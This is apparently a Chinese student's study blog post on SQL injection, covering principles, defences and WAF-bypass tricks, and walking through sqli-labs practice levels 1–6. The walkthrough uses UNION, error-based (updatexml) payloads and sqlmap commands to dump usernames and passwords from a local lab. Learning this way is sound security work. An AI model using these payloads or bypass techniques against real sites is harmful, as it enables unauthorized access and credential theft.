day 5

1.SQL注入原理

  1. 基础概念

    • SQL注入利用了应用程序在构建SQL查询时的漏洞。攻击者通过在输入字段中注入恶意SQL代码,使得数据库执行这些未经授权的操作。
  2. 注入点

    • 注入点通常是在Web应用程序中接受用户输入的地方,如表单字段、URL参数、HTTP头信息等。
  3. 攻击步骤

    • 识别漏洞:攻击者尝试在应用程序的输入字段中输入特殊字符或SQL关键字,以测试应用程序是否将输入直接嵌入SQL查询中。
    • 注入恶意SQL代码:一旦发现应用程序对输入不做足够的过滤或转义,攻击者就可以注入恶意的SQL代码。这些代码会被当作正常的SQL语句的一部分来执行。
    • 获取或操作数据:通过注入恶意SQL代码,攻击者可能获得敏感数据、绕过身份验证、修改数据或执行其他恶意操作。

2.SQL注入常用函数及含义

  1. SELECT

    • 用途:从数据库中查询数据。
    • 示例:SELECT * FROM users WHERE username = 'admin' AND password = 'password';
    • SQL注入示例:' OR '1'='1 可以使查询条件总是为真,从而绕过认证。
  2. UNION

    • 用途:将多个SELECT查询的结果合并到一个结果集中。
    • 示例:SELECT username, password FROM users UNION SELECT username, password FROM admins;
    • SQL注入示例:攻击者可以利用UNION来获取其他表的数据。
  3. AND / OR

    • 用途:在WHERE子句中添加条件。
    • 示例:SELECT * FROM users WHERE username = 'admin' AND password = 'password';
    • SQL注入示例:' OR '1'='1 使得WHERE子句中的条件总是为真。
  4. JOIN

    • 用途:将两个或多个表根据某个条件连接起来。
    • 示例:SELECT users.username, orders.order_id FROM users JOIN orders ON users.id = orders.user_id;
    • SQL注入示例:攻击者可以利用JOIN将多个表的数据连接在一起以获取更多信息。
  5. EXEC 或 EXECUTE

    • 用途:执行动态SQL语句。
    • 示例:EXEC('SELECT * FROM users WHERE username = ''' + @username + '''');
    • SQL注入示例:通过注入恶意SQL代码,执行不安全的动态SQL语句。
  6. REPLACE

    • 用途:替换字符串中的部分内容。
    • 示例:REPLACE('hello world', 'world', 'SQL') 返回 'hello SQL'
    • SQL注入示例:攻击者可以利用REPLACE函数修改查询结果。
  7. CHAR 和 ASCII

    • 用途:操作字符和字符的ASCII值。
    • 示例:CHAR(65) 返回 'A'
    • SQL注入示例:攻击者可能通过这些函数来构造复杂的SQL注入payload。
  8. SUBSTRING

    • 用途:从字符串中提取子字符串。
    • 示例:SUBSTRING('abcdef', 2, 3) 返回 'bcd'
    • SQL注入示例:攻击者可以利用SUBSTRING来提取和分析数据中的特定部分。
  9. SLEEP

    • 用途:使SQL查询暂停指定的时间。
    • 示例:SLEEP(5) 使查询暂停5秒。
    • SQL注入示例:攻击者可以通过延迟时间来进行盲注攻击(blind SQL injection)。
  10. GROUP_CONCAT

    • 用途:将多个行的值连接成一个字符串。
    • 示例:GROUP_CONCAT(username) 将所有用户名连接成一个字符串。
    • SQL注入示例:攻击者可以利用此函数将多个数据项拼接起来进行信息泄露。

3.SQL注入防御手段

1. 使用预处理语句和参数化查询

  • 预处理语句(Prepared Statements)
    • 使用预处理语句可以将SQL代码与用户输入数据分开处理。这样,即使用户输入中包含恶意SQL代码,也不会被执行。
    • 示例(使用PHP的PDO):
      $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
      $stmt->bindParam(':username', $username);
      $stmt->execute();
      

2. 使用存储过程

  • 存储过程(Stored Procedures)
    • 存储过程在数据库中定义,执行时只允许调用过程的名称和参数,从而减少了SQL注入的风险。
    • 示例:
      CREATE PROCEDURE GetUser(IN username VARCHAR(50))
      BEGIN
          SELECT * FROM users WHERE username = username;
      END;
      

3. 输入验证和过滤

  • 严格验证用户输入

    • 确保对所有用户输入进行验证和过滤,只接受符合预期格式的数据。例如,使用正则表达式来验证输入。
    • 示例:
      $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
      
  • 转义特殊字符

    • 对用户输入的特殊字符进行转义,防止恶意代码被执行。
    • 示例(使用PHP的mysqli_real_escape_string):
      $username = mysqli_real_escape_string($conn, $_POST['username']);
      

4. 最小权限原则

  • 限制数据库账户权限
    • 确保数据库用户只拥有执行其必要操作的最低权限,避免使用具有广泛权限的账户连接数据库。
    • 示例:
      GRANT SELECT, INSERT, UPDATE ON mydatabase.* TO 'limited_user'@'localhost';
      

5. 使用ORM(对象关系映射)

  • ORM工具
    • ORM工具可以自动生成安全的SQL查询,并封装了防止SQL注入的机制。使用ORM可以减少直接编写SQL查询的需要。

4.SQL注入常用绕过waf的方法

1. 使用编码绕过

  • URL编码

    • 利用URL编码(如 %27 代表 ')绕过过滤。
    • 示例:
      SELECT * FROM users WHERE username = 'admin%27 OR 1=1 --';
      
  • Unicode编码

    • 使用Unicode编码(如 CHAR(39) 代表 ')来绕过字符串检查。
    • 示例:
      SELECT * FROM users WHERE username = CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110);
      

2. 变形技术

  • 使用SQL函数

    • 利用SQL函数(如 CONCATCHARUNIONINTO OUTFILE)来构造绕过WAF的查询。
    • 示例:
      SELECT * FROM users WHERE username = CONCAT('admin', CHAR(39), ' OR 1=1 --');
      
  • 利用SQL注释

    • 使用各种SQL注释(如 --/* ... */#)来隐藏注入部分。
    • 示例:
      SELECT * FROM users WHERE username = 'admin' /*' OR '1'='1';
      

3. 注入复杂化

  • 混淆和复杂化语句

    • 使用复杂的查询结构或拼接字符串,使WAF更难检测。
    • 示例:
      SELECT * FROM users WHERE username = 'admin' AND 1=1 UNION SELECT null, null, null --';
      
  • 盲注(Blind Injection)

    • 使用盲注技巧(如基于布尔型盲注)来测试系统响应,绕过WAF的检测。
    • 示例:
      ' OR (SELECT SUBSTRING(@@version,1,1) = '5') --'
      

4. 字符串操作

  • 拼接查询

    • 使用字符串拼接函数(如 +||CONCAT)绕过过滤。
    • 示例:
      SELECT * FROM users WHERE username = 'admin' AND '1' = '1' || '1' = '1';
      
  • 混合数据类型

    • 使用不同的数据类型和运算符来绕过WAF的检测。
    • 示例:
      SELECT * FROM users WHERE username = 'admin' AND (1=1 OR 1=1);
      

5. 环境和配置绕过

  • 环境特定技巧
    • 针对特定的数据库或WAF配置,使用环境特定的SQL语法或函数。
    • 示例:
      SELECT * FROM users WHERE username = 'admin' AND (SELECT 1 FROM dual WHERE 1=1);
      

6. 时间延迟和错误消息

  • 时间盲注(Time-based Blind Injection)

    • 使用时间延迟函数(如 SLEEP)来测试注入点,绕过WAF的检测。
    • 示例:
      ' OR IF(1=1, SLEEP(5), 0) --'
      
  • 错误消息操控

    • 利用自定义错误消息或SQL错误来识别系统的漏洞。
    • 示例:
      ' OR (SELECT 1/0) --'
      

7. 改变请求方式

  • HTTP方法改变
    • 使用不同的HTTP方法(如 POSTPUTOPTIONS)进行注入尝试,绕过基于HTTP方法的WAF规则。
    • 示例:
      POST /index.php HTTP/1.1
      Host: example.com
      Content-Type: application/x-www-form-urlencoded
      
      username=admin' OR '1'='1
      

8. 变量和函数混淆

  • 使用数据库变量和自定义函数
    • 使用数据库的自定义变量或函数来进行注入。

5.sqli-labs通关前五关

搭建环境

第一关.

1.判断是否存在sql注入,输入?id=1

2.判断sql语句是否是拼接,且是字符型还是数字型

3.首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1' order by 3 --+

order by 4

查看网页显示位是哪几位:?id=-1'union select 1,2,3--+

获取数据库名和版本信息(因为mysql 5以上有内置库):

?id=-1'union select 1,database(),version()--+

当前数据库是security,版本是5.7.26

爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查字段名 

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来得到该字段对应的内容。

第二关.

先试试?id=1'

应该是属于数值型注入

尝试改编第一关输入

?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+

通关

第三关.

先输入?id=1'

看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号

使用order by 判断数据库有几列

?id=1' order by 3 --+

?id=1' order by 4 --+

3列回显正常,4列出现报错,说明只有3列

使用联合查询union select 判断回显位置

?id=-1') union select 1,2,3--+

?id=-1') union select 1,2,group_concat(username,"-",id,"-",password) from users --+

第四关.

还是先试试?id=1'

没有报错

再试试双引号:?id=1"

添加自定义查询:?id=-1") union select 1,2,3--+

?id=-1") union select 1,2,group_concat(username,"-",id,"-",password) from users --+

第五关.

爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

6.总结SQLi的手工注入的步骤

  1. 识别注入点

    • 测试输入字段:在网站的输入字段(如登录框、搜索框、注册表单等)中尝试输入简单的SQL注入测试字符(如单引号 '),观察系统的响应。
    • 查看URL和表单参数:检查URL中的参数和HTTP请求的表单字段,尝试修改或添加SQL注入载荷。
  2. 确定注入点是否有效

    • 错误消息:观察是否有数据库错误消息返回,这些错误消息可以揭示数据库的类型和结构。
    • 布尔型测试:通过注入布尔型条件(如 1=1 或 1=2)来验证是否能改变查询的逻辑结果,从而判断是否存在注入漏洞。
    • 时间延迟测试:使用时间延迟函数(如 SLEEP(5))来验证是否能通过时间变化判断注入的有效性。
  3. 探测数据库结构

    • 查询数据库版本:通过注入语句获取数据库版本信息(例如:SELECT @@version)。
    • 获取表名:使用注入语句提取数据库中的表名(例如:SELECT table_name FROM information_schema.tables)。
    • 获取列名:确定表结构,通过查询获取列名(例如:SELECT column_name FROM information_schema.columns WHERE table_name='users')。
  4. 数据提取

    • 提取数据:根据获取的表和列信息,构造注入语句提取具体数据(例如:SELECT username, password FROM users)。
    • 联合查询:使用 UNION 语句将注入的数据与正常数据结合,从而提取更多信息。
  5. 绕过安全措施

    • 编码绕过:对注入载荷进行编码(如 URL 编码、十六进制编码)来绕过应用的过滤器。
    • 盲注:在没有直接反馈的情况下,通过逻辑推测和时间延迟来获取信息(盲注分为基于布尔值的盲注和基于时间的盲注)。
  6. 后续步骤

    • 漏洞验证:确认注入点的确存在漏洞,确保测试结果的一致性。
    • 修复建议:提出修复建议,如使用参数化查询、准备语句等防止SQL注入的措施

7.使用sqlmap通过或验证第六关

cmd sqlmap

python sqlmap.py -u ""http://sqli248041081:8081/Less-6/?id=1" --batch

获取数据库名

python sqlmap.py -u  http://localhost/sqli-labs-master/Less-6/?id=1 --dbs

获得数据库中的表名

python sqlmap.py -u  http://localhost/sqli-labs-master/Less-6/?id=1 -D"security" --tables

获得数据库中的列名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D"security" -T"users" --columns

获得数据库中users表的内容

python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D"security' -T"users" -C"username,password" --dump

获取数据

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-6/?id=1" -D secur
ity -T users -C username,password --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值